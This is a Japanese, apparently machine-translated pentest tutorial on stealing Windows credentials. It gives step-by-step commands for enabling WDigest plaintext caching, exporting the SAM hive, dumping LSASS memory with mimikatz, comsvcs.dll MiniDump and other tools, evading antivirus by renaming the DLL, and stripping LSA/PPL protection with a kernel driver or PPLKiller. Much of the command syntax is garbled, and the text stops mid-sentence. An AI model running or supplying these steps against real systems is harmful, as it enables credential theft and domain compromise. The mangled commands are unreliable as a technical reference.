現在のマシンの平文パスワードを取得
ドメインハッシュをエクスポートする前に、最初に現在のマシンのローカルハッシュパスワードをエクスポートしようとすることができます。以前にドメインユーザーがこのマシンにログインした場合、ドメインユーザーまたはドメイン管理者のアカウントを直接取得できます。
Windowsオペレーティングシステムでは、SAMデータベース(C: \ Windows \ System32 \ config \ sam)がローカルユーザーのハッシュを保存します。
ローカル認証プロセスでは、ローカルセキュリティ許可サービスプロセスlsass.exeは、メモリ(DMPファイル)でユーザーパスワードをキャッシュします。
したがって、ここでは、現在のマシンのハッシュをクロールする2つの方法を検討できます:オンラインツール抽出とオフライン分析抽出。
注:Windows 10 \ 2012R2の後のシステムバージョンでは、メモリキャッシュでデフォルトでシステムユーザーのプレーンテキストパスワードが無効になります。この時点で、Mimikatzを使用してPlantextをキャッチできます。また、それをキャッチすることはできません。パスワードフィールドディジットは、nullとして直接表示されます。
ここでは、レジストリを手動で変更して、平易なテキストを保存して、クロールできるようにします。 (変更後、ログインする前にユーザーからログアウトする必要があります)
reg add hklm \\ system \\ currentControlset \\ control \\ securityproviders \\ wdigest /v uselogoncredential /t reg \ _dword /d 1 /f
mimikatz
ミミカッツは、フランス人ベンジャミンによって開発された強力な軽量デバッグツールです。個人的なテストを目的としていますが、その強力な機能のため、Windows XP-2012などのオペレーティングシステムの平文パスワードを直接読み取ることができ、浸透テストで有名です。浸透に必要なツールであると言えます。
住所をダウンロード:https://github.com/gentilkiwi/mimikatz
1.レジストリを介してハッシュをクロールします
コマンドラインを実行して、現在のシステムレジストリのSAMおよびシステムファイルを取得します(ローカル管理者の権利が必要です)
reg save hklm \\ system sys.hiv
reg save hklm \\ sam sam.hiv
ファイルを取得した後、攻撃者のネイティブマシンにダウンロードし、Mimikatzを使用してハッシュを分析および抽出できます。
mimikatz.exe 'lsadump:3360sam /sam:sam.hiv /system:sys.hiv' 'exit'
この方法は、SAMファイルに保存されているローカルユーザーのアカウントのみを取得できます
2.ターゲットマシンにmimikatzをアップロードし、ローカルSAMファイルによって保存されたアカウントハッシュ値をオンラインで抽出します
特権:Debug
token:3360Elevate
lsadump:sam
3. lsass.exeの記憶からハッシュを拡張します
Mimikatz '特権:3360Debug' 'sekurlsa:3360logonpasswords full' 'exit'
ローカルユーザーにログインしたドメイン管理者のハッシュ値が、ローカルユーザーの管理者権限を使用してキャプチャされたことがわかりました。
pwdump7
pwdump7.exeを直接実行するだけです
WEC
ターゲットマシンにアップロードし、直接実行するパラメーターを追加します。
-lリストログインセッションとNTLM資格情報(デフォルト)
-S現在のログインセッションパラメーターのNTLM資格情報を変更する:ユーザー名:ドメイン名:LMハッシュ:NTハッシュ
-Rは、ログインセッションとNTLM資格情報を定期的にリストします。新しいセッションが見つかった場合、5秒ごとに再リストされます。
-c特別なNTML資格情報パラメーターを使用して新しいセッションを実行します。
-eログインセッションとntlm資格情報を随時リストし、ログインイベントが生成されたときに一度再リストする
-oすべての出力をファイルパラメーター:ファイル名に保存します
- 現在のログインセッションパラメーター:を使用する代わりに、LUIDを指定します
-dログインセッションパラメーター:からNTLM資格情報を削除します
-adressアドレスパラメーター:アドレスを使用します
-fフォースセーフモード
-g LMおよびNTパラメーターパスワードのハッシュを生成します
-Kキャッシュkerberosチケットはファイルへのチケット(UNIXおよびWindows WCE形式)
-kファイルからKerberosのチケットを読んで、Windowsキャッシュに挿入します
-Wダイジェスト認証を介してパスワードをプレーンテキストにキャッシュします
-v詳細な出力
lazagne
アドレスをダウンロード:https://github.com/alessandroz/lazagne
lazagne.exeすべて
sharpdump
https://github.com/ghostpack/sharpdump
直接コンパイルするだけです
./sharpdump
lsasssilentprocessexit
https://MP.WEIXIN.QQ.COM/S/8UER5DNAQS24KUKXU5YI9W
サイレントプロセスの出口、つまり、静かに出口。このデバッグテクノロジーは、werfault.exeプロセスを導き出すことができます。これは、あらゆるプログラムを実行したり、プロセスのメモリファイルまたはポップアップを再配置するために使用できます。
主に、レジストリ +リモートプロセスインジェクションを変更してメモリをダンプするLSASSILENTProcessExit APIと、関連するレジストリキー値を使用します。
#define ifeo \ _reg \ _key 'Software \\\\\\\\\\\ windows nt \\\\ currentversion \\\\画像ファイル実行オプション\\\\\'
#define silent \ _process \ _exit \ _reg \ _key 'software \\\\\\\\\\\\\\ currentversion \\\\\ silentprocessexit \\\\\'
リモートプロセスインジェクションを使用して、lsass.exeにrtlreportsilentprocessexit機能自体を呼び出すようにします。
hmodule hntdll=getModuleHandle(l'ntdll.dll ');
rtlReportSilentProcessexit \ _func rtlReportSilentProcessexit=(rtlReportSilentProcessexit \ _func)
hthread=createremotethread(hprocess、null、0、(lpthread \ _start \ _routine)rtlreportsilentprocessexit、(lpvoid)-1、null、null);
ただし、レジストリを変更する必要があるため、ソフトキル入力環境をバイパスすることはほとんど不可能です。
lsasssilentprocessexit.exe 616 0
敏感な環境でlsassプロセスをダンプする方法
PowerShellを使用してファイルなしでエクスポート
https://BLOG.csdn.net/chenfeng857/article/details/120126818
https://xz.aliyun.com/t/12157#toc-9
comsvcs.dllには、システムが付属しています。 comsvcs.dllのエクスポート関数Minidumpを介してダンプメモリを実装します。
指定されたプロセスメモリファイルをダンプする場合、Sedebugprivilegeの許可が必要です。管理者許可のCMDでは、Sedebugprivilegeの許可はデフォルトでサポートされていますが、ステータスは無効になっています。
CMDの下でRunDLL32コマンドを直接実行し、指定されたプロセスメモリファイルをダンプしようとすると、SedeBugPrivilegeの許可を有効にできないため、ダンプが失敗します。
ただし、管理者の特権を備えたPowerShellの下では、デフォルトでSedebugprivilegeの許可がサポートされ、ステータスが有効になります。
最初にlsass.exeプロセスpidを確認します
タスクリスト| findstr lsass.exe
rundll32.exe comsvcs.dll minidump pid path full
rundll32.exe comsvcs.dll minidump 1096 C: \\ users \\ 16229 \\ desktop \\ 1.dmp full
直接実行すると、ソフトを殺すことで傍受される可能性があります。
それをバイパスする簡単な方法:
copycomsvcs.dllは、無感覚なディレクトリに、たとえばtest.dllなど、無感覚なディレクトリに命名され、ランダムに命名されます
c: \\ windows \\ system32 \\ comsvcs.dll test.dllをコピーします
rundll32.exe c: \\ users \\ 16229 \\ desktop \\ code \ _java \\ test.dll Minidump 1096 C: \\ Users \\ 16229 \\ desktop \\ code \ _java \\ 3.dmp Full
ローカルにドラッグし、分析のためにMimikatzを使用します。
mimikatz.exe log 'sekurlsa:minidump 2.dmp' 'sekurlsa:logonpasswordsフル'出口
runaspplが有効になっている環境
https://www.freebuf.com/articles/system/332506.html
https://xz.aliyun.com/t/12157#toc-19
ミミカッツ
PPL保護が有効になっているため、管理者でさえLSASSプロセスを開くことができません。
Mimikatz '特権:3360Debug' 'sekurlsa:3360logonpasswords full' 'exit'
mimikatzprivilege:3360debugのコマンドは正常に有効になります。 Sedebugprivilegeですが、コマンドsekurlsa:logonpasswordsが失敗し、エラーコード0x00000005が表示されます。 Minikatzコードkuhl_m_sekurlsa_acquirelsa()関数から、私たちはそれを単に理解することができます
hdata=nullを処理します。
dword pid;
DWord ProcessRights=process_vm_read | process_query_information;
kull_m_process_getProcessIdforname(l'lsass.exe '、pid);
hdata=openProcess(processrights、false、pid);
if(hdata hdata!=invalid_handle_value){
//OpenProcess OKの場合
}
それ以外{
print_error_auto(メモリのハンドル ');
}
Process Explorerを使用してLSASSプロセスを開いて表示し、アクセスが拒否されます。
ミミカッツのデジタル署名ドライバーを使用して、カーネルのプロセスオブジェクトの保護フラグを削除する
ミニカッツインストールドライバー
特権:Debug
!+
保護を削除します
!ProcessProtect /Process:lsass.exe /remove
その後、パスワードをダンプできます
sekurlsa:3360logonpasswords
ツールを使用して保護が削除されていることを表示します
mimikatz.exe 'privilege:3360debug' ''!+''
pplkiller
https://www.cnblogs.com/revercc/p/16961961.html
https://RedCursor.com.au/Bypassing-lsa-protection-aka-crotected-crocess-light-without-mimikatz-on-windows-10/
優先度の違い:PPは、その署名レベルが等しいか等しい限り、フルアクセス権限を備えたPPまたはPPLを開くことができます。 PPLは、その署名レベルが等しいか等しい限り、フルアクセス許可を備えた別のPPLを開くことができます。署名レベルに関係なく、PPLはフルアクセス許可を持つPPを開くことはできません。
PPLが有効になっていると、保護レベルの高いプロセスのみが保護されたプロセスで動作できます。
Windowsカーネルは、_eprocess構造を使用して、カーネルメモリのプロセスを表します。これには、そのタイプ(_PS_PROTECTED_TYPE)および署名者(_PS_PROTECTED_SIGNER)プロパティを介してプロセスの保護レベルを定義する_PS_プロテクションフィールドが含まれます。
typedef struct _ps_protection {
ユニオン{
UCHARレベル;
struct {
UCHAR TYPE : 3;
UCHAR監査: 1; //予約済み
Uchar Signer : 4;
};
};
} ps_protection、 *pps_protection;
それは構造体として表されますが、すべての情報は単一のバイトの2つのニブル(levelis a uchar、unsigned char)に保存されます。最初の3桁は保護タイプを示します(以下のps_protected_typeを参照)。プロセスがPPまたはPPLであるかどうかを定義します。最後の4桁は、署名者タイプ(以下のps_protected_signerを参照)、つまり実際の保護レベルを表します。
typedef enum _ps_protected_type {
psprotectedtypenone=0、
psprotectedtepeprotectedlight=1、
psprotectedTepepRetected=2
} PS_PROTECTED_TYPE、 *PPS_PROTECTED_TYPE;
typedef enum _ps_protected_signer {
psprotectedSignernone=0、//0
psprotectedSignerAuthenticode、//1
psprotectedSignerCodegen、//2
psprotectedSignerantimalware、//3
psprotectedSignerlsa、//4
psprotectedSignerWindows、//5
psprotectedSignerwintcb、//6
psprotectedSignerWinsystem、//7
psprotectedSignerApp、//8
psprotectedSignerMax //9
} PS_PROTECTED_SIGNER、 *PPS_PROTECTED_SIGNER;
LSA保護をバイパスしたい場合は、EPROCESSカーネル構造にパッチを当てることにより、LSASSプロセスのPPLフラグを無効にすることができます。これを行うには、LSASS eProcess構造とパッチ5値のアドレスを見つける必要があります。Signaturelevelevel、sectionsignaturelevel、タイプ、監査、署名者はゼロです。
EnumDevicedRivers関数は、カーネルベースアドレスをリークするために使用できます。これを使用して、システムプロセスのeProcess構造を指すpsinitialsystemprocessを見つけることができます。カーネルはリンクされたリストでプロセスを保存するため、eProcess構造のActiveProcessLinksメンバーを使用してリンクされたリストを反復し、LSASSを探すことができます。
eProcess構造を見ると、パッチする必要がある5つのフィールドが、従来の4バイトとして揃っていることがわかります。これにより、次のように単一の4バイト書き込みでeProcess構造にパッチを当てることができます。writememoryPrimitive(device、4、currentProcessAddress + SignAtureLevelOffset、0x00);
アドレスを見つけた後、これらの4バイトの値をゼロにパッチするだけです。
pplkiller.exe /instalddriver
タスクリスト| findstr lsass.exe
pplkiller.exe /disableppl 688
異なるカーネルバージョンに遭遇した場合、プログラムは4バイトに正しくパッチを適用できません。同じバージョンのマシンを見つけて、WindBGデバッグを使用してLSASSカーネルアドレスを表示できます。
bcdedit/debug onsrv \*https://msdl.microsoft.com/ダウンロード/シンボル
.reload
!プロセス0 0 lsass.exe
dt \ _eprocess
アドレス0x6C0を見つけ、スクリプトを変更してからコンパイルします。
ppldump
https://ITM4N.GITHUB.IO/THEEND-OF-PPLDUMP/
https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/
PPLDUMPは、ユーザー状態の脆弱性の活用を実装し、任意のコードを管理者としてPPLに注入するC/C ++で記述されたツールです。この技術は、Alex IonescuとJames Forshawによる多くの調査結果の1つであり、保護されたプロセス(PPおよびPPL)に関する詳細な研究を実施しています。
ppldumpの実用的な原則は次のとおりです。
APに電話してください